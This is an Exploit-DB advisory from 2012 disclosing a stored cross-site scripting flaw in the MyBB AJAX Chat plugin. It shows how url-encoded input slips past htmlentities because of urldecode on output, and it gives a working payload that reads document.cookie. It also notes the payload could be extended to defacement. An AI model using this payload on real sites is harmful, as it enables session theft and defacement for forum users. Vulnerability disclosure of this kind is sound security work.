MyBB AJAX Chat - Persistent XSS Vulnerability

2012-12-13T00:00:00
ID EDB-ID:23354
Type exploitdb
Reporter Mr. P-teo
Modified 2012-12-13T00:00:00

Description

MyBB AJAX Chat - Persistent XSS Vulnerability. Webapps exploit for php platform

                                        
                                            # Title: MyBB AJAX Chat Persistent XSS Vulnerability
# Date: 12/12/2012
# Exploit Author: Mr. P-teo
# Vendor Homepage: http://www.mybb.com/
# Software Link: http://mods.mybb.com/view/ajax-chat
# Version: 1
# Tested on: Windows

The Persistent XSS vulnerability lies within the chat_frame.php page.

*************************************** Persistent / Stored XSS **************************************


Although the message is filter with the htmlentities function below.
<?php

	$db->insert_query($tbl, array('uid' => $mybb->user['uid'], 'message' => $db->escape_string(htmlentities($message)), 'date' => time()));

?>

The vulnerability occurs with the use of the urldecode function, allowing us to bypass the htmlentities with url encoding.
<?php

	$msg = urldecode($row["message"]);

?>

The vulnerability can be exploited via the following line, decoded as - "><img src="XSS" onerror="alert(document.cookie)" />

%22%3E%3Cimg%20src%3D%22XSS%22%20onerror%3D%22alert(document.cookie)%22%20%2F%3E%0A

This can be expanded on with defaces etc, alert is just a basic example.

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